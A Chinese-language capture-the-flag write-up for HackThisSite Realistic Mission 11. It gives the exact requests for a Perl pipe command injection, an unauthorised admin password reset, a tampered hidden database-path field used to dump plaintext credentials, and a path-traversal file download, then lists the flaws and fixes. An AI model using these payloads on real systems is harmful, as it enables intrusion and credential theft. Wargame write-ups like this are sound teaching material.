HackThisSite - Realistic Mission 11
Challenge
Recover
src.tar.gzfrom the suspendedspace46BudgetSERV account.
Solution
1. Perl 命令注入列目录
主站的 page.pl 会读取
pages/<page>。对不存在的页面可观察到:
1 | open(file, "pages/x") failed: No such file or directory |
Perl 的 open() 允许把管道形式当作命令执行。使用 URL
编码的 |ls|:
1 | /missions/realistic/11/page.pl?page=%7Cls%7C |
结果包含 bs.dbase、admin/ 和
client_http_docs/。其中 client_http_docs/
可列出
space46/、wonderdiet/、potatoworks/
与 therightwayradio/。
2. 越权修改客户站点的管理员账户
打开:
1 | /client_http_docs/therightwayradio/?page=userinfo&id=0 |
id=0 显示账户
aclu_bomber_08290,且页面错误地显示了编辑表单。向该表单提交
pass=password 后,响应返回
Profile updated。
使用以下凭据登录客户站点:
1 | aclu_bomber_08290 / password |
登录后可以看到 mod 链接。
3. 篡改 SQLite 数据库路径
Mod Panel 的表单有一个可编辑的隐藏字段:
1 | <input type="hidden" name="sql_db" value="rwr.dbase"> |
改成任务根目录的相对路径,并查询 SQLite 元数据:
1 | sql_db: ../../../bs.dbase |
结果显示 web_hosting 表,随后执行:
1 | SELECT web_user, web_pass FROM web_hosting |
得到任务账户凭据:
1 | space46 notofthisworld |
4. 下载被暂停账户的备份
在 /admin/ 使用未暂停账户登录,例如:
1 | therightwayradio / letgodsortitout |
下载脚本是 admin/d.pl。将 file 参数改成
space46 账户的备份绝对路径:
1 | /admin/d.pl?file=/var/www/budgetserv/html/client_http_docs/space46/src.tar.gz |
服务器返回任务检查跳转
levelup.php?check=...,访问该检查地址后任务完成,并在账号页面记录为
Realistic 11。
漏洞分析
- Perl
open()的管道行为导致命令注入(CWE-78)。 id=0编辑功能缺少对象级授权检查。- 数据库文件路径由客户端 hidden input 控制。
- 客户密码以明文保存。
- 下载器信任绝对路径,造成任意文件读取/路径穿越。
修复应使用安全文件 API、服务端授权检查、固定数据库连接、Argon2id/bcrypt/scrypt 密码哈希,以及基于文件 ID 的下载白名单。